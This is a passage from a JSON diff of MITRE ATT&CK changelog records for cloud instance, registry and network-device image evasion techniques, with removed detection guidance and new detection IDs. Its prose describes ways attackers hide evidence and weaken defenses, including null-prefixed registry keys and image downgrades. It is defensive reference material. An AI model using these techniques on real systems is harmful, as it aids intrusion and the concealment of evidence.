usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0030: Instance (Instance Creation)", + "DS0030: Instance (Instance Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0449: Detection Strategy for Modify Cloud Compute Infrastructure: Create Cloud Instance" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-09 15:33:13.563000+00:00", + "modified": "2025-10-24 17:49:34.416000+00:00", + "name": "Create Snapshot", + "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578/001", + "external_id": "T1578.001" + }, + { + "source_name": "AWS Cloud Trail Backup API", + "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.", + "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html" + }, + { + "source_name": "GCP - Creating and Starting a VM", + "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.", + "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2" + }, + { + "source_name": "Cloud Audit Logs", + "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", + "url": "https://cloud.google.com/logging/docs/audit#admin-activity" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "Azure - Monitor Logs", + "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Snapshot: Snapshot Creation\", \"Snapshot: Snapshot Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.416000+00:00\", \"old_value\": \"2025-04-15 22:11:14.755000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\\n\\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\\n\\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\\n\\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \\\"sourceSnapshot\\\": parameter pointed to \\\"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\\n-\\n-In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\\n-\\n-In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\\n-\\n-Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the \\\"sourceSnapshot\\\": parameter pointed to \\\"global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0020: Snapshot (Snapshot Creation)", + "DS0020: Snapshot (Snapshot Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0423: Detection Strategy for Modify Cloud Compute Infrastructure: Create Snapshot" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-16 17:23:06.508000+00:00", + "modified": "2025-10-24 17:48:56.705000+00:00", + "name": "Delete Cloud Instance", + "description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578/003", + "external_id": "T1578.003" + }, + { + "source_name": "AWS CloudTrail Search", + "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.", + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/" + }, + { + "source_name": "Cloud Audit Logs", + "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.", + "url": "https://cloud.google.com/logging/docs/audit#admin-activity" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "Azure Activity Logs", + "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Metadata\", \"Instance: Instance Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.705000+00:00\", \"old_value\": \"2025-04-15 22:16:21.146000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\\n\\nIn AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\\n-\\n-In AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0030: Instance (Instance Deletion)", + "DS0030: Instance (Instance Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0084: Detection Strategy for Modify Cloud Compute Infrastructure: Delete Cloud Instance" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-16 18:42:20.734000+00:00", + "modified": "2025-10-24 17:48:21.210000+00:00", + "name": "Revert Cloud Instance", + "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578/004", + "external_id": "T1578.004" + }, + { + "source_name": "Tech Republic - Restore AWS Snapshots", + "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.", + "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/" + }, + { + "source_name": "Google - Restore Cloud Snapshot", + "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.", + "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Netskope" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Start\", \"Instance: Instance Metadata\", \"Instance: Instance Stop\", \"Instance: Instance Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.210000+00:00\", \"old_value\": \"2025-04-25 14:45:42.495000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0030: Instance (Instance Metadata)", + "DS0030: Instance (Instance Modification)", + "DS0030: Instance (Instance Start)", + "DS0030: Instance (Instance Stop)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0337: Detection Strategy for Modify Cloud Compute Infrastructure: Revert Cloud Instance" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:23.587000+00:00", + "modified": "2025-10-24 17:48:49.294000+00:00", + "name": "Modify Registry", + "description": "Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.\n\nAccess to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification.(Citation: Microsoft Reg) Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).(Citation: Unit42 BabyShark Feb 2019)(Citation: Avaddon Ransomware 2021)(Citation: Microsoft BlackCat Jun 2022)(Citation: CISA Russian Gov Critical Infra 2018) The Registry may also be modified to [Impair Defenses](https://attack.mitre.org/techniques/T1562), such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.(Citation: CISA LockBit 2023)(Citation: Unit42 BabyShark Feb 2019)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.(Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API.(Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.(Citation: TrendMicro POWELIKS AUG 2014)(Citation: SpectorOps Hiding Reg Jul 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1112", + "external_id": "T1112" + }, + { + "source_name": "CISA Russian Gov Critical Infra 2018", + "description": "CISA. (2018, March 16). Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved March 24, 2025.", + "url": "https://www.cisa.gov/news-events/alerts/2018/03/15/russian-government-cyber-activity-targeting-energy-and-other-critical-infrastructure-sectors" + }, + { + "source_name": "CISA LockBit 2023", + "description": "CISA. (2023, March 16). #StopRansomware: LockBit 3.0. Retrieved March 24, 2025.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a" + }, + { + "source_name": "Avaddon Ransomware 2021", + "description": "Javier Yuste and Sergio Pastrana. (2021). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved March 24, 2025.", + "url": "https://arxiv.org/pdf/2102.04796" + }, + { + "source_name": "Microsoft BlackCat Jun 2022", + "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/" + }, + { + "source_name": "Microsoft Reg", + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx" + }, + { + "source_name": "Microsoft Remote", + "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.", + "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx" + }, + { + "source_name": "Microsoft 4657 APR 2017", + "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657" + }, + { + "source_name": "SpectorOps Hiding Reg Jul 2017", + "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.", + "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353" + }, + { + "source_name": "Microsoft Reghide NOV 2006", + "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.", + "url": "https://docs.microsoft.com/sysinternals/downloads/reghide" + }, + { + "source_name": "Microsoft RegDelNull July 2016", + "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull" + }, + { + "source_name": "TrendMicro POWELIKS AUG 2014", + "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/" + }, + { + "source_name": "Unit42 BabyShark Feb 2019", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Bartosz Jerzman", + "Travis Smith, Tripwire", + "David Lu, Tripwire", + "Gerardo Santos" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Process: OS API Execution\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Deletion\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.294000+00:00\", \"old_value\": \"2025-04-15 19:58:33.486000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\\n\\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n-\\n-Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [ + "M1024: Restrict Registry Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Deletion)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0280: Behavior-Based Registry Modification Detection on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 19:42:19.740000+00:00", + "modified": "2025-10-24 17:49:13.730000+00:00", + "name": "Modify System Image", + "description": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1601", + "external_id": "T1601" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.730000+00:00\", \"old_value\": \"2025-04-25 15:15:59.227000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \\n\\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\\n\\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \\n-\\n-Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\\n-\\n-Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1043: Credential Access Protection", + "M1045: Code Signing", + "M1046: Boot Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0170: Detection Strategy for Modify System Image on Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 19:53:10.576000+00:00", + "modified": "2025-10-24 17:49:39.331000+00:00", + "name": "Downgrade System Image", + "description": "Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1601/002", + "external_id": "T1601.002" + }, + { + "source_name": "Cisco Synful Knock Evolution", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + 